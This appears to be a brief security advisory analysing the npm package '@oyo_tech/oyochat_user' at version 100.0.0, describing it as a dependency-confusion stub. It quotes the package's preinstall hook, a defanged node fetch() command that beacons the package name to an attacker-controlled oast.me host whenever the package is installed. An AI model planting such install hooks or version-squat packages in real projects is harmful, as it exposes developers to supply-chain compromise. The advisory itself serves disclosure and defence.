@oyo_tech/oyochat_user@100.0.0

Analysis

The package is a minimal stub (package.json + index.js) that runs a preinstall hook on install. The hook executes `node -e "fetch('hxxps://dc[.]installed[.]da24gtar47nuepat1pu053x3cgyweiaom[.]oast[.]me/'+process.env.npm_package_name)"`, making an outbound HTTP request to an attacker-controlled Burp Collaborator (oast[.]me) host with the package name appended to the URL path. This beacons install activity to the remote host. The package is published at version 100.0.0 on a scoped name with no repository, consistent with a dependency-confusion/version-squat stub.